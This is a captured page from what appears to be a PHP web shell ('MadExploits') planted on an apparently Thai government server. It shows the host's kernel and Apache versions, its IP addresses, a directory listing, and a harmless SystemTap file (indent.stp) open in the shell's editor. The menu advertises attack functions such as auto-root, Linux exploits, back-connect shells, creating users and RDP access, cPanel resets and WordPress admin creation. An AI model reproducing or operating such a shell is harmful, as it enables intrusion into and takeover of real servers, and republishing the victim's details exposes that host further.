Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
dyninst
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
linux
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
README
371
B
-rw-r--r--
ansi.stp
3.93
KB
-rw-r--r--
argv.stp
2.53
KB
-rw-r--r--
choose_defined.stpm
208
B
-rw-r--r--
container_of.stpm
235
B
-rw-r--r--
context.stp
4.95
KB
-rw-r--r--
errno.stp
8.21
KB
-rw-r--r--
indent-default.stp
59
B
-rw-r--r--
indent.stp
4.44
KB
-rw-r--r--
init.stp
269
B
-rw-r--r--
java.stp
1.3
KB
-rw-r--r--
libpython2.6-64.stp
522
B
-rw-r--r--
logging.stp
2.78
KB
-rw-r--r--
macros.stpm
169
B
-rw-r--r--
null.stp
17
B
-rw-r--r--
offsetof.stpm
173
B
-rw-r--r--
oneshot.stp
38
B
-rw-r--r--
pn.stp
1.55
KB
-rw-r--r--
queue_stats.stp
9.21
KB
-rw-r--r--
random.stp
417
B
-rw-r--r--
registers.stp
7.4
KB
-rw-r--r--
speculative.stp
1.67
KB
-rw-r--r--
stap_staticmarkers.stp
9.44
KB
-rw-r--r--
stopwatch.stp
2.98
KB
-rw-r--r--
string.stp
5.59
KB
-rw-r--r--
switchfile.stp
612
B
-rw-r--r--
system.stp
473
B
-rw-r--r--
timers.stp
822
B
-rw-r--r--
tokenize.stp
1.63
KB
-rw-r--r--
type_defined.stpm
363
B
-rw-r--r--
tzinfo.stp
930
B
-rw-r--r--
uconversions.stp
23.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : indent.stp
/* <tapsetdescription> * The indent tapset provides functions to generate indented lines for * nested kinds of trace messages. Each line contains a relative * timestamp, and the process name / pid. The timestamp is as per * provided by the __indent_timestamp function, which by default * measures microseconds. * </tapsetdescription> */ global _indent_counters, _indent_timestamps function _generic_indent_depth:long (idx, delta) { # pre-increment for positive delta and post-decrement for negative delta x = _indent_counters[idx] + (delta > 0 ? delta : 0) _indent_counters[idx] += delta return (x>0 ? x-1 : 0) } function _generic_indent (idx, desc, delta) { ts = __indent_timestamp () if (! _indent_counters[idx]) _indent_timestamps[idx] = ts depth = _generic_indent_depth(idx, delta) return sprintf("%6d %s:%-*s", (ts - _indent_timestamps[idx]), desc, depth, "") } /** * sfunction thread_indent - returns an amount of space with the current task information * * @delta: the amount of space added/removed for each call * * Description: This function returns a string with appropriate * indentation for a thread. Call it with a small positive or * matching negative delta. If this is the real outermost, * initial level of indentation, then the function resets the * relative timestamp base to zero. The timestamp is as per * provided by the __indent_timestamp function, which by default * measures microseconds. */ function thread_indent:string (delta:long) { return _generic_indent (tid(), sprintf("%s(%d)", execname(), tid()), delta) } /** * sfunction thread_indent_depth - returns the nested-depth of the current task * * @delta: the amount of depth added/removed for each call * * Description: This function returns an integer equal to the nested * function-call depth starting from the outermost initial level. This function * is useful for saving space (consumed by whitespace) in traces with long * nested function calls. Use this function in a similar fashion to * thread_indent(), i.e., in call-probe, use thread_indent_depth(1) and in * return-probe, use thread_indent_depth(-1) */ function thread_indent_depth:long (delta:long) { return _generic_indent_depth (tid(), delta) } /** * sfunction indent - returns an amount of space to indent * * @delta: the amount of space added/removed for each call * * Description: This function returns a string with appropriate * indentation. Call it with a small positive or matching negative * delta. Unlike the thread_indent function, the indent does not * track individual indent values on a per thread basis. */ function indent:string (delta:long){ return _generic_indent(-1, "", delta) } /** * sfunction indent_depth - returns the global nested-depth * * @delta: the amount of depth added/removed for each call * * Description: This function returns a number for appropriate indentation, * similar to indent(). Call it with a small positive or matching negative * delta. Unlike the thread_indent_depth function, the indent does not track * individual indent values on a per thread basis. */ function indent_depth:long (delta:long) { return _generic_indent_depth (-1, delta) } /* The following example uses thread_indent() to trace the functions * called in the drivers/usb/core kernel source. It prints a relative * timestamp and the name and ID of the current process, followed by * the appropriate indent and the function name. Note that * 'char' swapper(0) indicates the kernel is running in interrupt * context and there is no valid current process. * * probe kernel.function("*@drivers/usb/core/*") { * printf("%s -> %s\n, thread_indent(1), probefunc()) * } * probe kernel.function("*@drivers/usb/core/*").return { * printf("%s <- %s\n", thread_indent(-1), probefunc()) * } * * //This prints: * 0 swapper(0): -> usb_hcd_irq * 8 swapper(0): <- usb_hcd_irq * 0 swapper(0): -> usb_hcd_irq * 10 swapper(0): -> usb_hcd_giveback_urb * 16 swapper(0): -> urb_unlink * 22 swapper(0): <- usb_unlink * 29 swapper(0): -> usb_free_urb * 35 swapper(0): <- usb_hcd_urb * 39 swapper(0): <- usb_hcd_giveback_urb * 45 swapper(0): <- usb_hcd_irq * 0 usb-storage(1338): -> usb_submit_urb * 6 usb-storage(1338): -> usb_hcd_submit_urb * 12 usb-storage(1338): -> usb_get_urb * 18 usb-storage(1338): <- usb_get_urb * 25 usb-storage(1338): <- usb_hcd_submit_urb * 29 usb-storage(1338): -> usb_submit_urb * 0 swapper(0): -> usb_hcd_irq * 7 swapper(0): <- usb_hcd_irq */
Close